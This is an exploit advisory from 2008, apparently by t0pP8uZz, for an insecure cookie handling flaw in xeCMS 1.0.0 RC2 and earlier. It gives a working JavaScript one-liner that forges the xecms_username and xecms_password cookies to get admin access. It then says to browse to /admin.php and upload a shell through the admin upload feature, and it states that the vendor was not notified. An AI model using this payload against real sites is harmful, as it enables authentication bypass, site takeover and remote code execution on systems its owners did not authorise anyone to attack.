xecms-cookie.txt

`-[*]+================================================================================+[*]-  
-[*]+ xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability +[*]-  
-[*]+================================================================================+[*]-  
  
  
  
[*] Discovered By: t0pP8uZz  
[*] Discovered On: 18 MAY 2008  
[*] Script Download: http://downloads.sourceforge.net/phpforume  
[*] DORK: N/A  
  
  
  
[*] Vendor Has Not Been Notified!  
  
  
  
[*] DESCRIPTION:   
  
xeCMS suffers from a insecure cookie, the admin panel only checks if the cookie exists.  
and not the content. so we can easyily craft a cookie and look like a admin.  
  
  
  
[*] Vulnerability:  
  
javascript:document.cookie = "xecms_username=1; path=/"; document.cookie = "xecms_password=1; path=/";  
  
  
  
[*] NOTE/TIP:   
  
after running the javascript, visit "/admin.php" to view admin area.  
  
you can also upload a shell thru the admin area's upload feature.  
  
  
  
[*] GREETZ:   
  
milw0rm.com, h4ck-y0u.org, CipherCrew !  
  
  
  
[-] peace,   
  
t0pP8uZz  
  
  
  
-[*]+================================================================================+[*]-  
-[*]+ xeCMS <= 1.0.0 RC2 Insecure Cookie Handling Vulnerability +[*]-  
-[*]+================================================================================+[*]-  
`